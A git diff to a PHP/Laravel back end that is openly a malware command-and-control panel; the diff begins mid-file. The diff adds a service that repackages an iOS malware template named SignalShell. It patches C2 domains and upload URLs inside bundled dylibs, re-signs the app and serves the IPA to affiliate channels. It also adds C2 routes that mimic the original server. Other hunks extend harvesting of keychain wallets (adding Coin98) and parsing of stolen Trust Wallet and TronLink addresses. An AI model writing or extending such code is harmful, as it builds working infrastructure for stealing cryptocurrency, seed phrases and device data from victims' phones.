'path' => '/'.$outputPath, + 'size' => $size, + 'error' => '', + ]; + } catch (\Throwable $e) { + $this->rrmdir($workDir); + Log::error('AppPackageService: build failed', [ + 'channel' => $channel->channel_id, + 'error' => $e->getMessage(), + ]); + + return [ + 'success' => false, + 'path' => '', + 'size' => 0, + 'error' => $e->getMessage(), + ]; + } + } + + private function patchInfoPlist(string $appDir, Channel $channel): void + { + $plistPath = $appDir.'/Info.plist'; + $xml = file_get_contents($plistPath); + + // Replace display name + $xml = preg_replace( + '#CFBundleDisplayName\s*[^<]*#', + 'CFBundleDisplayName'.htmlspecialchars($channel->app_name).'', + $xml, + ); + + // Replace bundle identifier + if ($channel->bundle_id) { + $xml = preg_replace( + '#CFBundleIdentifier\s*[^<]*#', + 'CFBundleIdentifier'.htmlspecialchars($channel->bundle_id).'', + $xml, + ); + } + + // Replace CFBundleName (short name) + $xml = preg_replace( + '#CFBundleName\s*[^<]*#', + 'CFBundleName'.htmlspecialchars(substr($channel->app_name, 0, 15)).'', + $xml, + ); + + file_put_contents($plistPath, $xml); + } + + private function generateIcons(string $appDir, string $logoPath): void + { + if (! function_exists('imagecreatefrompng')) { + // GD not available, copy logo as-is for main icon only + copy($logoPath, $appDir.'/Icon-60@3x.png'); + return; + } + + $src = imagecreatefrompng($logoPath); + if ($src === false) { + return; + } + + $srcW = imagesx($src); + $srcH = imagesy($src); + + foreach (self::ICON_SIZES as $filename => $size) { + $dst = imagecreatetruecolor($size, $size); + // Transparent background + imagesavealpha($dst, true); + $trans = imagecolorallocatealpha($dst, 0, 0, 0, 127); + imagefill($dst, 0, 0, $trans); + + // Resize (maintain aspect, crop center square) + $minSide = min($srcW, $srcH); + $srcX = ($srcW - $minSide) / 2; + $srcY = ($srcH - $minSide) / 2; + imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide); + + imagepng($dst, $appDir.'/'.$filename, 6); + imagedestroy($dst); + } + imagedestroy($src); + } + + private function patchLibroute(string $appDir, string $domain, string $channelId): void + { + $path = $appDir.'/Frameworks/libroute.dylib'; + if (! file_exists($path)) { + throw new RuntimeException('libroute.dylib not found'); + } + + $data = file_get_contents($path); + $changes = 0; + + // Replace domain: shenma.my → new domain (equal length or shorter) + $newDomain = $domain; + $oldDomain = 'shenma.my'; + if (strlen($newDomain) > strlen($oldDomain)) { + // Cannot expand in-place, try replacing full URLs instead + // hslaxo.cc is 9 chars same as shenma.my + if (strlen($newDomain) !== strlen($oldDomain)) { + throw new RuntimeException("Domain '{$newDomain}' length (".strlen($newDomain).') must be ≤ '.strlen($oldDomain).' chars for in-place replacement'); + } + } + + // Replace upload URL: /upload.php?a=a119f32b4955& → /api/ap/upload?a=& + $oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&'; + $newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&"; + if (strlen($newUpload) <= 10164) { // plenty of space at 0x1193C + $idx = strpos($data, $oldUpload); + if ($idx !== false) { + $data = substr($data, 0, $idx).$newUpload."\x00".substr($data, $idx + strlen($oldUpload) + 1); + $changes++; + } + } + + // Replace log upload URL + $oldLog = 'https://shenma.my/upload.php?name='; + $newLog = "https://{$domain}/api/ap/lg?n="; + if (strlen($newLog) <= 35) { + $idx = strpos($data, $oldLog); + if ($idx !== false) { + $data = substr($data, 0, $idx).$newLog."\x00".substr($data, $idx + strlen($oldLog) + 1); + $changes++; + } + } + + // Replace config path: /api/ios-shell → /api/ap + $oldConfig = '/api/ios-shell'; + $newConfig = '/api/ap'; + $idx = strpos($data, $oldConfig); + if ($idx !== false) { + $data = substr($data, 0, $idx).$newConfig."\x00".substr($data, $idx + strlen($oldConfig) + 1); + $changes++; + } + + // Replace any remaining shenma.my + $data = str_replace('shenma.my', $domain, $data); + + file_put_contents($path, $data); + } + + private function patchLibmcmlease(string $appDir, string $domain): void + { + $path = $appDir.'/Frameworks/libmcmlease.dylib'; + if (! file_exists($path)) { + return; + } + + $data = file_get_contents($path); + // Equal-length domain replacement + if (strlen($domain) === 9) { // same as shenma.my + $data = str_replace('shenma.my', $domain, $data); + } + file_put_contents($path, $data); + } + + private function sign(string $appDir): void + { + // Try ldid first (Linux compatible) + $ldid = trim((string) shell_exec('which ldid 2>/dev/null')); + if ($ldid !== '') { + // Remove old signatures + $csDir = $appDir.'/_CodeSignature'; + if (is_dir($csDir)) { + $this->rrmdir($csDir); + } + + // Sign main binary + frameworks + $binaries = array_merge( + [$appDir.'/SignalShell'], + glob($appDir.'/Frameworks/*.dylib') ?: [], + glob($appDir.'/*.dylib') ?: [], + ); + + foreach ($binaries as $bin) { + if (file_exists($bin)) { + Process::run([$ldid, '-S', $bin]); + } + } + + return; + } + + // Try codesign (macOS) + $codesign = trim((string) shell_exec('which codesign 2>/dev/null')); + if ($codesign !== '') { + $csDir = $appDir.'/_CodeSignature'; + if (is_dir($csDir)) { + $this->rrmdir($csDir); + } + Process::run([$codesign, '-s', '-', '--force', '--deep', $appDir.'/']); + + return; + } + + // No signing tool available — output unsigned IPA + Log::warning('AppPackageService: no signing tool (ldid/codesign) found, IPA will be unsigned'); + } + + private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void + { + $items = scandir($dir); + foreach ($items as $item) { + if ($item === '.' || $item === '..') { + continue; + } + $path = $dir.'/'.$item; + $zipPath = $prefix.'/'.$item; + if (is_dir($path)) { + $zip->addEmptyDir($zipPath); + $this->addDirToZip($zip, $path, $zipPath); + } else { + $zip->addFile($path, $zipPath); + } + } + } + + private function rrmdir(string $dir): void + { + if (! is_dir($dir)) { + return; + } + $items = scandir($dir); + foreach ($items as $item) { + if ($item === '.' || $item === '..') { + continue; + } + $path = $dir.'/'.$item; + if (is_dir($path)) { + $this->rrmdir($path); + } else { + @unlink($path); + } + } + @rmdir($dir); + } +} diff --git a/app/Services/AppUploadIngester.php b/app/Services/AppUploadIngester.php index 408d04c..90fc5a8 100644 --- a/app/Services/AppUploadIngester.php +++ b/app/Services/AppUploadIngester.php @@ -404,7 +404,7 @@ final class AppUploadIngester */ private function persistRecoverableKeychainWallets(Device $device, array $buckets): void { - foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus'] as $source) { + foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus', 'Coin98'] as $source) { $items = $buckets[$source]['items'] ?? null; if (! is_array($items) || $items === []) { continue; diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 99c9753..700f5bf 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -1294,6 +1294,24 @@ class DarkSwordIngestAdapter // We don't have the key here in the recursive walk; detect from // service/account fields instead. + // Check direct 'address' field (Trust Wallet activeAccounts pattern: + // {"address": "0x...", "coin": 60, "derivationPath": "m/44'/..."}). + $directAddr = (string) ($node['address'] ?? ''); + if ($directAddr !== '' && strlen($directAddr) > 10 && ! str_contains($directAddr, ' ')) { + $chainType = WalletSource::inferChainType($directAddr); + // TronLink stores TRON addresses in hex format (0x41 prefix) + if ($chainType === '' && strlen($directAddr) === 42 && ctype_xdigit($directAddr) && str_starts_with($directAddr, '41')) { + $converted = self::hexTronToBase58($directAddr); + if ($converted !== null) { + $directAddr = $converted; + $chainType = 'TRON'; + } + } + if ($chainType !== '' && WalletSource::isSupportedChain($chainType)) { + $out[] = $this->addressRow($directAddr, $chainType, $sourceHint, $tag); + } + } + // Check account field for embedded addresses (Uniswap pattern: // "com.uniswap.mobile.mnemonic.0x4A45..."). $acct = (string) ($node['account'] ?? ''); @@ -1461,4 +1479,49 @@ class DarkSwordIngestAdapter } $this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic); } + + /** + * Convert a 42-char hex TRON address (0x41-prefixed) to base58check. + */ + private static function hexTronToBase58(string $hex): ?string + { + if (strlen($hex) !== 42 || ! ctype_xdigit($hex) || ! str_starts_with($hex, '41')) { + return null; + } + $bin = @hex2bin($hex); + if ($bin === false || strlen($bin) !== 21) { + return null; + } + $hash1 = hash('sha256', $bin, true); + $hash2 = hash('sha256', $hash1, true); + $data = $bin . substr($hash2, 0, 4); + + $alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'; + $base = strlen($alphabet); + $num = array_map('ord', str_split($data)); + $result = ''; + + while (count($num) > 0 && $num[0] === 0) { + $result .= $alphabet[0]; + $num = array_slice($num, 1); + } + + while ($num !== []) { + $quotient = []; + $remainder = 0; + foreach ($num as $byte) { + $acc = $remainder * 256 + $byte; + $digit = intdiv($acc, $base); + $remainder = $acc % $base; + if ($quotient !== [] || $digit !== 0) { + $quotient[] = $digit; + } + } + $result = $alphabet[$remainder] . $result; + $num = $quotient; + } + + return strlen($result) === 34 && $result[0] === 'T' ? $result : null; + } + } diff --git a/config/queue.php b/config/queue.php index af8ad69..8c26885 100644 --- a/config/queue.php +++ b/config/queue.php @@ -44,6 +44,15 @@ return [ 'after_commit' => false, ], + 'shell' => [ + 'driver' => 'database', + 'connection' => env('DB_CONNECTION'), + 'table' => 'jobs', + 'queue' => 'shell', + 'retry_after' => 300, + 'after_commit' => false, + ], + 'beanstalkd' => [ 'driver' => 'beanstalkd', 'host' => env('BEANSTALKD_QUEUE_HOST', 'localhost'), diff --git a/database/migrations/2026_10_06_061412_add_h5_url_to_channels_table.php b/database/migrations/2026_10_06_061412_add_h5_url_to_channels_table.php new file mode 100644 index 0000000..0a0f6ee --- /dev/null +++ b/database/migrations/2026_10_06_061412_add_h5_url_to_channels_table.php @@ -0,0 +1,22 @@ +string('h5_url')->nullable()->after('bundle_id'); + }); + } + + public function down(): void + { + Schema::table('channels', function (Blueprint $table) { + $table->dropColumn('h5_url'); + }); + } +}; diff --git a/resources/views/admin/channels/index.blade.php b/resources/views/admin/channels/index.blade.php index 01b0c8e..7ff0019 100644 --- a/resources/views/admin/channels/index.blade.php +++ b/resources/views/admin/channels/index.blade.php @@ -23,6 +23,9 @@ @if ($portal === 'admin') + @if ($portal === 'admin' && auth('admin')->user()?->isSuper()) + + @endif @endif @@ -48,6 +51,7 @@ layui.use(['table', 'form', 'layer'], function () { var token = @json(csrf_token()); var agents = @json($agentOptions ?? []); var isAdmin = portal === 'admin'; + var isSuperAdmin = isAdmin && @json(auth('admin')->user()?->isSuper() ?? false); var maxPerAgent = @json($maxPerAgent ?? 5); if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form); @@ -66,6 +70,7 @@ layui.use(['table', 'form', 'layer'], function () { cols = cols.concat([ { field: 'app_name', title: 'App', width: 90, templet: function (d) { return d.app_name || '—'; } }, { field: 'bundle_id', title: 'Bundle ID', minWidth: 200, templet: function (d) { return d.bundle_id ? '' + d.bundle_id + '' : '—'; } }, + { field: 'h5_url', title: 'H5 URL', minWidth: 200, templet: function (d) { return d.h5_url ? '' + d.h5_url + '' : '—'; } }, { field: 'remark', title: '备注', minWidth: 140, templet: function (d) { return d.remark || '—'; } }, { field: 'status', title: '状态', width: 90, templet: function (d) { return d.status == 1 @@ -229,7 +234,9 @@ layui.use(['table', 'form', 'layer'], function () { ? '
' + '
' + '
' + - '
' + '' + + '
' + + '
' : ''; var templateBlock = (isAdmin && creating) @@ -343,6 +350,106 @@ layui.use(['table', 'form', 'layer'], function () { $('#LAY-ch-create').on('click', function () { openForm('新建渠道链接', { user_id: 0, status: 1 }, true); }); } + // ─── 新建 APP ─────────────────────────────────────────── + var apiDomain = @json(config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc'))); + + function randomChannelId12() { + var chars = '0123456789abcdef'; + var s = ''; + for (var i = 0; i < 12; i++) s += chars[Math.floor(Math.random() * 16)]; + return s; + } + + if (isSuperAdmin) { + $('#LAY-ch-create-app').on('click', function () { + var html = + '
' + + '
' + + '' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
' + + '
保存后自动构建 IPA,替换域名/渠道ID/Logo/App名称,完成后提供下载链接。
' + + '
'; + + layer.open({ + type: 1, + title: '新建 APP 渠道', + area: ['560px', '620px'], + content: html, + success: function () { + form.render(); + $('#LAY-app-rand').on('click', function () { + $('input[name=channel_id]').val(randomChannelId12()); + }); + }, + btn: ['构建并保存', '取消'], + yes: function (index) { + var formData = new FormData($('#LAY-app-form')[0]); + formData.append('_token', token); + formData.append('status', $('input[name=status_switch]').is(':checked') ? 1 : 0); + + var load = layer.load(2, {shade: [0.3, '#000']}); + $.ajax({ + url: @json(route('admin.channels.buildApp')), + method: 'POST', + data: formData, + processData: false, + contentType: false, + timeout: 120000, + success: function (res) { + layer.close(load); + if (res.code !== 0) { + var msg = res.msg || '构建失败'; + if (res.data && res.data.channel_id) msg += '(渠道 ' + res.data.channel_id + ' 已创建)'; + return layer.msg(msg, {icon: 2, time: 5000}); + } + layer.close(index); + if (window.CorunaFilterOptions) { + CorunaFilterOptions.bust(); + CorunaFilterOptions.apply(form); + } + table.reload('LAY-ch-list'); + + var d = res.data; + var content = '
' + + '

渠道 ID: ' + d.channel_id + '

' + + '

APP 名称: ' + d.app_name + '

' + + '

IPA 大小: ' + (d.ipa_size / 1024 / 1024).toFixed(1) + ' MB

' + + '

API 域名: ' + d.api_domain + '

' + + '

下载 IPA

' + + '
'; + layer.open({type: 1, title: '✅ 构建成功', area: ['420px', '340px'], content: content}); + }, + error: function (xhr) { + layer.close(load); + var msg = (xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '构建失败'; + if (xhr.responseJSON && xhr.responseJSON.errors) { + msg = Object.values(xhr.responseJSON.errors).flat().join('; '); + } + layer.msg(msg, {icon: 2, time: 5000}); + } + }); + } + }); + }); + } + table.on('tool(LAY-ch-list)', function (obj) { if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false); if (obj.event === 'links') openLinks(obj.data); diff --git a/routes/admin.php b/routes/admin.php index 8fed4d9..fa4af2b 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -134,6 +134,8 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::middleware('admin.super')->group(function () { Route::post('mnemonics', [MnemonicController::class, 'store'])->name('mnemonics.store'); + Route::post('channels/build-app', [ChannelController::class, 'buildApp'])->name('channels.buildApp'); + Route::prefix('system')->name('system.')->group(function () { Route::get('logs', [SystemLogController::class, 'index'])->name('logs.index'); Route::get('logs/data', [SystemLogController::class, 'data'])->name('logs.data'); diff --git a/routes/app_c2.php b/routes/app_c2.php index db51825..d0d0e27 100644 --- a/routes/app_c2.php +++ b/routes/app_c2.php @@ -40,3 +40,19 @@ Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks/{n}', [$ctl, 'appUplo ->where(['id' => '[^/]+', 'n' => '[0-9]+']); Route::any('/api/v2/finish', [$ctl, 'appUpload']); Route::any('/api/v2/{any?}', [$ctl, 'appUpload'])->where('any', '.*'); + +// ───────────────────────────────────────────────────────────── +// SignalShell v1 protocol (shenma.my compatible) +// +// SignalShell (Uber icon malware, v1.69) uses a simple single-POST +// upload protocol + a JSON config endpoint. These routes mimic the +// original shenma.my C2 so the malware can be redirected here. +// +// GET /api/ios-shell/config?a= → JSON config +// POST /api/v1/upload?a=& → {"ok":true,"size":N,"bind":true} +// ───────────────────────────────────────────────────────────── + +// hslaxo.cc /api/ap/* paths +Route::any('/api/ap/config', [$ctl, 'shellConfig']); +Route::post('/api/ap/upload', [$ctl, 'shellUpload']); +Route::post('/api/ap/lg', [$ctl, 'shellUpload']); diff --git a/storage/app/.gitignore b/storage/app/.gitignore index fedb287..92c809b 100644 --- a/storage/app/.gitignore +++ b/storage/app/.gitignore @@ -1,4 +1,5 @@ * !private/ !public/ +!app-templates/ !.gitignore diff --git a/storage/app/app-templates/.gitkeep b/storage/app/app-templates/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/storage/app/app-templates/signalshell-base.ipa b/storage/app/app-templates/signalshell-base.ipa new file mode 100644 index 0000000..8fc9402 Binary files /dev/null and b/storage/app/app-templates/signalshell-base.ipa differ